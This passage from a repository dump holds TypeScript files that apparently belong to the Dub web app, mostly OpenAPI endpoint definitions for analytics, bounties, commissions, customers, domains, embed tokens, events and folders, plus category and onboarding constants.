    "content": "import { Category } from \"@dub/prisma/client\";\nimport {\n  BookOpen,\n  Brush,\n  CircleHalfDottedClock,\n  Code,\n  CreditCard,\n  Heart,\n  Icon,\n  MarketingTarget,\n  MoneyBill,\n  ShieldKeyhole,\n  Sparkle3,\n  User,\n} from \"@dub/ui/icons\";\n\nexport const PROGRAM_CATEGORIES: {\n  id: Category;\n  icon: Icon;\n  label: string;\n}[] = [\n  {\n    id: Category.Artificial_Intelligence,\n    label: \"AI\",\n    icon: Sparkle3,\n  },\n  {\n    id: Category.Development,\n    label: \"Development\",\n    icon: Code,\n  },\n  {\n    id: Category.Design,\n    label: \"Design\",\n    icon: Brush,\n  },\n  {\n    id: Category.Productivity,\n    label: \"Productivity\",\n    icon: CircleHalfDottedClock,\n  },\n  {\n    id: Category.Finance,\n    label: \"Finance\",\n    icon: MoneyBill,\n  },\n  {\n    id: Category.Marketing,\n    label: \"Marketing\",\n    icon: MarketingTarget,\n  },\n  {\n    id: Category.Ecommerce,\n    label: \"Ecommerce\",\n    icon: CreditCard,\n  },\n  {\n    id: Category.Security,\n    label: \"Security\",\n    icon: ShieldKeyhole,\n  },\n  {\n    id: Category.Education,\n    label: \"Education\",\n    icon: BookOpen,\n  },\n  {\n    id: Category.Health,\n    label: \"Health\",\n    icon: Heart,\n  },\n  {\n    id: Category.Consumer,\n    label: \"Consumer\",\n    icon: User,\n  },\n];\n\nexport const PROGRAM_CATEGORIES_MAP: Partial<\n  Record<Category, { icon: Icon; label: string }>\n> = Object.fromEntries(\n  PROGRAM_CATEGORIES.map((category) => [category.id, category]),\n);\n"
  },
  {
    "path": "apps/web/lib/next-auth.d.ts",
    "content": "import \"next-auth\";\n\ndeclare module \"next-auth\" {\n  interface User {\n    lockedAt?: Date;\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/onboarding/types.ts",
    "content": "export const ONBOARDING_STEPS = [\n  \"workspace\",\n  \"products\",\n  \"domain\",\n  \"domain/custom\",\n  \"domain/register\",\n  \"program\",\n  \"program/reward\",\n  \"plan\",\n  \"success\",\n  \"completed\",\n] as const;\n\nexport type OnboardingStep = (typeof ONBOARDING_STEPS)[number];\n"
  },
  {
    "path": "apps/web/lib/openapi/analytics/index.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { analyticsQuerySchema } from \"@/lib/zod/schemas/analytics\";\nimport { analyticsResponse } from \"@/lib/zod/schemas/analytics-response\";\nimport { ZodOpenApiOperationObject, ZodOpenApiPathsObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nconst retrieveAnalytics: ZodOpenApiOperationObject = {\n  operationId: \"retrieveAnalytics\",\n  \"x-speakeasy-name-override\": \"retrieve\",\n  summary:\n    \"Retrieve analytics for a link, a domain, or the authenticated workspace.\",\n  description:\n    \"Retrieve analytics for a link, a domain, or the authenticated workspace. The response type depends on the `event` and `type` query parameters.\",\n  requestParams: {\n    query: analyticsQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"Analytics data\",\n      content: {\n        \"application/json\": {\n          schema: z.union([\n            analyticsResponse.count.meta({\n              id: \"AnalyticsCount\",\n            }),\n            z.array(\n              analyticsResponse.timeseries.meta({\n                id: \"AnalyticsTimeseries\",\n              }),\n            ),\n            z.array(\n              analyticsResponse.continents.meta({\n                id: \"AnalyticsContinents\",\n              }),\n            ),\n            z.array(\n              analyticsResponse.countries.meta({\n                id: \"AnalyticsCountries\",\n              }),\n            ),\n            z.array(\n              analyticsResponse.regions.meta({\n                id: \"AnalyticsRegions\",\n              }),\n            ),\n            z.array(\n              analyticsResponse.cities.meta({\n                id: \"AnalyticsCities\",\n              }),\n            ),\n            z.array(\n              analyticsResponse.devices.meta({\n                id: \"AnalyticsDevices\",\n              }),\n            ),\n            z.array(\n              analyticsResponse.browsers.meta({\n                id: \"AnalyticsBrowsers\",\n              }),\n            ),\n            z.array(\n              analyticsResponse.os.meta({\n                id: \"AnalyticsOS\",\n              }),\n            ),\n            z.array(\n              analyticsResponse.triggers.meta({\n                id: \"AnalyticsTriggers\",\n              }),\n            ),\n            z.array(\n              analyticsResponse.referers.meta({\n                id: \"AnalyticsReferers\",\n              }),\n            ),\n            z.array(\n              analyticsResponse.referer_urls.meta({\n                id: \"AnalyticsRefererUrls\",\n              }),\n            ),\n            z.array(\n              analyticsResponse.top_links.meta({\n                id: \"AnalyticsTopLinks\",\n              }),\n            ),\n            z.array(\n              analyticsResponse.top_urls.meta({\n                id: \"AnalyticsTopUrls\",\n              }),\n            ),\n          ]),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Analytics\"],\n  security: [{ token: [] }],\n};\n\nexport const analyticsPath: ZodOpenApiPathsObject = {\n  \"/analytics\": {\n    get: retrieveAnalytics,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/bounties/approve-bounty-submission.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  approveBountySubmissionBodySchema,\n  BountySubmissionSchema,\n} from \"@/lib/zod/schemas/bounties\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const approveBountySubmission: ZodOpenApiOperationObject = {\n  operationId: \"approveBountySubmission\",\n  \"x-speakeasy-name-override\": \"approveSubmission\",\n  summary: \"Approve a bounty submission\",\n  description:\n    \"Approve a bounty submission. Optionally specify a custom reward amount.\",\n  requestParams: {\n    path: z.object({\n      bountyId: z.string().meta({ description: \"The ID of the bounty\" }),\n      submissionId: z\n        .string()\n        .meta({ description: \"The ID of the bounty submission\" }),\n    }),\n  },\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: approveBountySubmissionBodySchema.optional(),\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The approved bounty submission.\",\n      content: {\n        \"application/json\": {\n          schema: BountySubmissionSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Bounties\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/bounties/index.ts",
    "content": "import { ZodOpenApiPathsObject } from \"zod-openapi\";\nimport { approveBountySubmission } from \"./approve-bounty-submission\";\nimport { listBountySubmissions } from \"./list-bounty-submissions\";\nimport { rejectBountySubmission } from \"./reject-bounty-submission\";\n\nexport const bountiesPaths: ZodOpenApiPathsObject = {\n  \"/bounties/{bountyId}/submissions\": {\n    get: listBountySubmissions,\n  },\n  \"/bounties/{bountyId}/submissions/{submissionId}/approve\": {\n    post: approveBountySubmission,\n  },\n  \"/bounties/{bountyId}/submissions/{submissionId}/reject\": {\n    post: rejectBountySubmission,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/bounties/list-bounty-submissions.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  BountySubmissionSchema,\n  getBountySubmissionsQuerySchema,\n} from \"@/lib/zod/schemas/bounties\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const listBountySubmissions: ZodOpenApiOperationObject = {\n  operationId: \"listBountySubmissions\",\n  \"x-speakeasy-name-override\": \"listSubmissions\",\n  summary: \"List bounty submissions\",\n  description:\n    \"List all submissions for a specific bounty in your partner program.\",\n  requestParams: {\n    path: z.object({\n      bountyId: z.string().meta({\n        description:\n          \"The unique ID of the bounty on Dub. Can be found in the URL of the bounty page, prefixed with `bnty_`.\",\n      }),\n    }),\n    query: getBountySubmissionsQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"The list of bounty submissions.\",\n      content: {\n        \"application/json\": {\n          schema: z.array(BountySubmissionSchema),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Bounties\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/bounties/reject-bounty-submission.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  BountySubmissionSchema,\n  rejectBountySubmissionBodySchema,\n} from \"@/lib/zod/schemas/bounties\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const rejectBountySubmission: ZodOpenApiOperationObject = {\n  operationId: \"rejectBountySubmission\",\n  \"x-speakeasy-name-override\": \"rejectSubmission\",\n  summary: \"Reject a bounty submission\",\n  description:\n    \"Reject a bounty submission with a specified reason and optional note.\",\n  requestParams: {\n    path: z.object({\n      bountyId: z.string().meta({ description: \"The ID of the bounty\" }),\n      submissionId: z\n        .string()\n        .meta({ description: \"The ID of the bounty submission\" }),\n    }),\n  },\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: rejectBountySubmissionBodySchema.optional(),\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The rejected bounty submission.\",\n      content: {\n        \"application/json\": {\n          schema: BountySubmissionSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Bounties\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/commissions/index.ts",
    "content": "import { ZodOpenApiPathsObject } from \"zod-openapi\";\nimport { listCommissions } from \"./list-commissions\";\nimport { updateCommission } from \"./update-commission\";\n\nexport const commissionsPaths: ZodOpenApiPathsObject = {\n  \"/commissions\": {\n    get: listCommissions,\n  },\n  \"/commissions/{id}\": {\n    patch: updateCommission,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/commissions/list-commissions.ts",
    "content": "import { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\nimport {\n  CommissionEnrichedSchema,\n  getCommissionsQuerySchema,\n} from \"../../zod/schemas/commissions\";\nimport { openApiErrorResponses } from \"../responses\";\n\nexport const listCommissions: ZodOpenApiOperationObject = {\n  operationId: \"listCommissions\",\n  \"x-speakeasy-name-override\": \"list\",\n  \"x-speakeasy-pagination\": {\n    type: \"cursor\",\n    inputs: [\n      {\n        name: \"startingAfter\",\n        in: \"parameters\",\n        type: \"cursor\",\n      },\n    ],\n    outputs: {\n      nextCursor: \"$[-1].id\",\n    },\n  },\n  summary: \"List all commissions\",\n  description: \"Retrieve a list of commissions for your partner program.\",\n  requestParams: {\n    query: getCommissionsQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"The list of commissions.\",\n      content: {\n        \"application/json\": {\n          schema: z.array(CommissionEnrichedSchema),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Commissions\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/commissions/update-commission.ts",
    "content": "import {\n  CommissionEnrichedSchema,\n  updateCommissionSchema,\n} from \"@/lib/zod/schemas/commissions\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport { CommissionSchema } from \"../../zod/schemas/commissions\";\nimport { openApiErrorResponses } from \"../responses\";\n\nexport const updateCommission: ZodOpenApiOperationObject = {\n  operationId: \"updateCommission\",\n  \"x-speakeasy-name-override\": \"update\",\n  summary: \"Update a commission\",\n  description:\n    \"Update an existing commission amount. This is useful for handling refunds (partial or full) or fraudulent sales.\",\n  requestParams: {\n    path: CommissionSchema.pick({ id: true }),\n  },\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: updateCommissionSchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The updated commission.\",\n      content: {\n        \"application/json\": {\n          schema: CommissionEnrichedSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Commissions\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/customers/delete-customer.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { CustomerEnrichedSchema } from \"@/lib/zod/schemas/customers\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const deleteCustomer: ZodOpenApiOperationObject = {\n  operationId: \"deleteCustomer\",\n  \"x-speakeasy-name-override\": \"delete\",\n  \"x-speakeasy-max-method-params\": 1,\n  summary: \"Delete a customer\",\n  description: \"Delete a customer from a workspace.\",\n  requestParams: {\n    path: CustomerEnrichedSchema.pick({ id: true }),\n  },\n  responses: {\n    \"200\": {\n      description: \"The customer was deleted.\",\n      content: {\n        \"application/json\": {\n          schema: CustomerEnrichedSchema.pick({ id: true }),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Customers\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/customers/get-customer.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport {\n  CustomerEnrichedSchema,\n  getCustomersQuerySchema,\n} from \"../../zod/schemas/customers\";\n\nexport const getCustomer: ZodOpenApiOperationObject = {\n  operationId: \"getCustomer\",\n  \"x-speakeasy-name-override\": \"get\",\n  summary: \"Retrieve a customer\",\n  description: \"Retrieve a customer by ID for the authenticated workspace.\",\n  requestParams: {\n    path: CustomerEnrichedSchema.pick({ id: true }),\n    query: getCustomersQuerySchema.pick({ includeExpandedFields: true }),\n  },\n  responses: {\n    \"200\": {\n      description: \"The customer object.\",\n      content: {\n        \"application/json\": {\n          schema: CustomerEnrichedSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Customers\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/customers/get-customers.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\nimport {\n  CustomerEnrichedSchema,\n  getCustomersQuerySchema,\n} from \"../../zod/schemas/customers\";\n\nexport const getCustomers: ZodOpenApiOperationObject = {\n  operationId: \"getCustomers\",\n  \"x-speakeasy-name-override\": \"list\",\n  \"x-speakeasy-pagination\": {\n    type: \"cursor\",\n    inputs: [\n      {\n        name: \"startingAfter\",\n        in: \"parameters\",\n        type: \"cursor\",\n      },\n    ],\n    outputs: {\n      nextCursor: \"$[-1].id\",\n    },\n  },\n  summary: \"Retrieve a list of customers\",\n  description: \"Retrieve a list of customers for the authenticated workspace.\",\n  requestParams: {\n    query: getCustomersQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"The list of customers.\",\n      content: {\n        \"application/json\": {\n          schema: z.array(CustomerEnrichedSchema),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Customers\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/customers/index.ts",
    "content": "import { ZodOpenApiPathsObject } from \"zod-openapi\";\nimport { deleteCustomer } from \"./delete-customer\";\nimport { getCustomer } from \"./get-customer\";\nimport { getCustomers } from \"./get-customers\";\nimport { updateCustomer } from \"./update-customer\";\n\nexport const customersPaths: ZodOpenApiPathsObject = {\n  \"/customers\": {\n    get: getCustomers,\n  },\n  \"/customers/{id}\": {\n    get: getCustomer,\n    patch: updateCustomer,\n    delete: deleteCustomer,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/customers/update-customer.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  CustomerEnrichedSchema,\n  getCustomersQuerySchema,\n  updateCustomerBodySchema,\n} from \"@/lib/zod/schemas/customers\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const updateCustomer: ZodOpenApiOperationObject = {\n  operationId: \"updateCustomer\",\n  \"x-speakeasy-name-override\": \"update\",\n  \"x-speakeasy-max-method-params\": 2,\n  summary: \"Update a customer\",\n  description: \"Update a customer for the authenticated workspace.\",\n  requestParams: {\n    path: CustomerEnrichedSchema.pick({ id: true }),\n    query: getCustomersQuerySchema.pick({ includeExpandedFields: true }),\n  },\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: updateCustomerBodySchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The customer was updated.\",\n      content: {\n        \"application/json\": {\n          schema: CustomerEnrichedSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Customers\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/domains/check-domain-status.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  DomainStatusSchema,\n  searchDomainSchema,\n} from \"@/lib/zod/schemas/domains\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const checkDomainStatus: ZodOpenApiOperationObject = {\n  operationId: \"checkDomainStatus\",\n  \"x-speakeasy-name-override\": \"checkStatus\",\n  summary: \"Check the availability of one or more domains\",\n  description:\n    \"Check if a domain name is available for purchase. You can check multiple domains at once.\",\n  requestParams: {\n    query: searchDomainSchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"The domain status was retrieved.\",\n      content: {\n        \"application/json\": {\n          schema: z.array(DomainStatusSchema),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Domains\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/domains/create-domain.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  DomainSchema,\n  createDomainBodySchema,\n} from \"@/lib/zod/schemas/domains\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const createDomain: ZodOpenApiOperationObject = {\n  operationId: \"createDomain\",\n  \"x-speakeasy-name-override\": \"create\",\n  summary: \"Create a domain\",\n  description: \"Create a domain for the authenticated workspace.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: createDomainBodySchema,\n      },\n    },\n  },\n  responses: {\n    \"201\": {\n      description: \"The domain was created.\",\n      content: {\n        \"application/json\": {\n          schema: DomainSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Domains\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/domains/delete-domain.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { DomainSchema } from \"@/lib/zod/schemas/domains\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const deleteDomain: ZodOpenApiOperationObject = {\n  operationId: \"deleteDomain\",\n  \"x-speakeasy-name-override\": \"delete\",\n  \"x-speakeasy-max-method-params\": 1,\n  summary: \"Delete a domain\",\n  description:\n    \"Delete a domain from a workspace. It cannot be undone. This will also delete all the links associated with the domain.\",\n  requestParams: {\n    path: DomainSchema.pick({ slug: true }),\n  },\n  responses: {\n    \"200\": {\n      description: \"The domain was deleted.\",\n      content: {\n        \"application/json\": {\n          schema: DomainSchema.pick({ slug: true }),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Domains\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/domains/index.ts",
    "content": "import { ZodOpenApiPathsObject } from \"zod-openapi\";\nimport { checkDomainStatus } from \"./check-domain-status\";\nimport { createDomain } from \"./create-domain\";\nimport { deleteDomain } from \"./delete-domain\";\nimport { listDomains } from \"./list-domains\";\nimport { registerDomain } from \"./register-domain\";\nimport { updateDomain } from \"./update-domain\";\n\nexport const domainsPaths: ZodOpenApiPathsObject = {\n  \"/domains\": {\n    post: createDomain,\n    get: listDomains,\n  },\n  \"/domains/{slug}\": {\n    patch: updateDomain,\n    delete: deleteDomain,\n  },\n  \"/domains/register\": {\n    post: registerDomain,\n  },\n  \"/domains/status\": {\n    get: checkDomainStatus,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/domains/list-domains.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { DomainSchema, getDomainsQuerySchema } from \"@/lib/zod/schemas/domains\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const listDomains: ZodOpenApiOperationObject = {\n  operationId: \"listDomains\",\n  \"x-speakeasy-name-override\": \"list\",\n  \"x-speakeasy-pagination\": {\n    type: \"offsetLimit\",\n    inputs: [\n      {\n        name: \"page\",\n        in: \"parameters\",\n        type: \"page\",\n      },\n      {\n        name: \"pageSize\",\n        in: \"parameters\",\n        type: \"limit\",\n      },\n    ],\n    outputs: {\n      results: \"$\",\n    },\n  },\n  summary: \"Retrieve a list of domains\",\n  description:\n    \"Retrieve a list of domains associated with the authenticated workspace.\",\n  requestParams: {\n    query: getDomainsQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"The domains were retrieved.\",\n      content: {\n        \"application/json\": {\n          schema: z.array(DomainSchema),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Domains\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/domains/register-domain.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  RegisterDomainSchema,\n  registerDomainSchema,\n} from \"@/lib/zod/schemas/domains\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const registerDomain: ZodOpenApiOperationObject = {\n  operationId: \"registerDomain\",\n  \"x-speakeasy-name-override\": \"register\",\n  summary: \"Register a domain\",\n  description:\n    \"Register a domain for the authenticated workspace. Only available for Enterprise Plans.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: registerDomainSchema,\n      },\n    },\n  },\n  responses: {\n    \"201\": {\n      description: \"The domain was registered.\",\n      content: {\n        \"application/json\": {\n          schema: RegisterDomainSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Domains\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/domains/update-domain.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  DomainSchema,\n  updateDomainBodySchema,\n} from \"@/lib/zod/schemas/domains\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const updateDomain: ZodOpenApiOperationObject = {\n  operationId: \"updateDomain\",\n  \"x-speakeasy-name-override\": \"update\",\n  \"x-speakeasy-max-method-params\": 2,\n  summary: \"Update a domain\",\n  description: \"Update a domain for the authenticated workspace.\",\n  requestParams: {\n    path: DomainSchema.pick({ slug: true }),\n  },\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: updateDomainBodySchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The domain was updated.\",\n      content: {\n        \"application/json\": {\n          schema: DomainSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Domains\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/embed-tokens/create-referrals-embed-token.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  createReferralsEmbedTokenSchema,\n  ReferralsEmbedTokenSchema,\n} from \"@/lib/zod/schemas/token\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const createReferralsEmbedToken: ZodOpenApiOperationObject = {\n  operationId: \"createReferralsEmbedToken\",\n  \"x-speakeasy-name-override\": \"referrals\",\n  summary: \"Create a referrals embed token\",\n  description: \"Create a referrals embed token for the given partner/tenant.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: createReferralsEmbedTokenSchema,\n      },\n    },\n  },\n  responses: {\n    \"201\": {\n      description: \"The created public embed token.\",\n      content: {\n        \"application/json\": {\n          schema: ReferralsEmbedTokenSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Embed Tokens\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/embed-tokens/index.ts",
    "content": "import { ZodOpenApiPathsObject } from \"zod-openapi\";\nimport { createReferralsEmbedToken } from \"./create-referrals-embed-token\";\n\nexport const embedTokensPaths: ZodOpenApiPathsObject = {\n  \"/tokens/embed/referrals\": {\n    post: createReferralsEmbedToken,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/events/index.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { eventsQuerySchema } from \"@/lib/zod/schemas/analytics\";\nimport { clickEventResponseSchema } from \"@/lib/zod/schemas/clicks\";\nimport { leadEventResponseSchema } from \"@/lib/zod/schemas/leads\";\nimport { saleEventResponseSchema } from \"@/lib/zod/schemas/sales\";\nimport { ZodOpenApiOperationObject, ZodOpenApiPathsObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const listEvents: ZodOpenApiOperationObject = {\n  operationId: \"listEvents\",\n  \"x-speakeasy-name-override\": \"list\",\n  summary: \"Retrieve a list of events\",\n  description:\n    \"Retrieve a paginated list of events for the authenticated workspace.\",\n  requestParams: {\n    query: eventsQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"A list of events\",\n      content: {\n        \"application/json\": {\n          schema: z.array(\n            z.discriminatedUnion(\"event\", [\n              clickEventResponseSchema,\n              leadEventResponseSchema,\n              saleEventResponseSchema,\n            ]),\n          ),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Events\"],\n  security: [{ token: [] }],\n};\n\nexport const eventsPath: ZodOpenApiPathsObject = {\n  \"/events\": {\n    get: listEvents,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/folders/create-folder.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { createFolderSchema, FolderSchema } from \"@/lib/zod/schemas/folders\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const createFolder: ZodOpenApiOperationObject = {\n  operationId: \"createFolder\",\n  \"x-speakeasy-name-override\": \"create\",\n  summary: \"Create a folder\",\n  description: \"Create a folder for the authenticated workspace.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: createFolderSchema,\n      },\n    },\n  },\n  responses: {\n    \"201\": {\n      description: \"The created folder\",\n      content: {\n        \"application/json\": {\n          schema: FolderSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Folders\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/folders/delete-folder.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const deleteFolder: ZodOpenApiOperationObject = {\n  operationId: \"deleteFolder\",\n  \"x-speakeasy-name-override\": \"delete\",\n  \"x-speakeasy-max-method-params\": 1,\n  summary: \"Delete a folder\",\n  description:\n    \"Delete a folder from the workspace. All existing links will still work, but they will no longer be associated with this folder.\",\n  requestParams: {\n    path: z.object({\n      id: z.string().describe(\"The ID of the folder to delete.\"),\n    }),\n  },\n  responses: {\n    \"200\": {\n      description: \"The deleted folder ID.\",\n      content: {\n        \"application/json\": {\n          schema: z.object({\n            id: z.string().describe(\"The ID of the deleted folder.\"),\n          }),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Folders\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/folders/index.ts",
    "content": "import { ZodOpenApiPathsObject } from \"zod-openapi\";\nimport { createFolder } from \"./create-folder\";\nimport { deleteFolder } from \"./delete-folder\";\nimport { listFolders } from \"./list-folders\";\nimport { updateFolder } from \"./update-folder\";\n\nexport const foldersPaths: ZodOpenApiPathsObject = {\n  \"/folders\": {\n    post: createFolder,\n    get: listFolders,\n  },\n  \"/folders/{id}\": {\n    patch: updateFolder,\n    delete: deleteFolder,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/folders/list-folders.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  FolderSchema,\n  listFoldersQuerySchema,\n} from \"@/lib/zod/schemas/folders\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const listFolders: ZodOpenApiOperationObject = {\n  operationId: \"listFolders\",\n  \"x-speakeasy-name-override\": \"list\",\n  summary: \"Retrieve a list of folders\",\n  description: \"Retrieve a list of folders for the authenticated workspace.\",\n  requestParams: {\n    query: listFoldersQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"A list of folders\",\n      content: {\n        \"application/json\": {\n          schema: z.array(FolderSchema),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Folders\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/folders/update-folder.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { FolderSchema, updateFolderSchema } from \"@/lib/zod/schemas/folders\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const updateFolder: ZodOpenApiOperationObject = {\n  operationId: \"updateFolder\",\n  \"x-speakeasy-name-override\": \"update\",\n  \"x-speakeasy-max-method-params\": 2,\n  summary: \"Update a folder\",\n  description: \"Update a folder in the workspace.\",\n  requestParams: {\n    path: z.object({\n      id: z.string().describe(\"The ID of the folder to update.\"),\n    }),\n  },\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: updateFolderSchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The updated folder.\",\n      content: {\n        \"application/json\": {\n          schema: FolderSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Folders\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/index.ts",
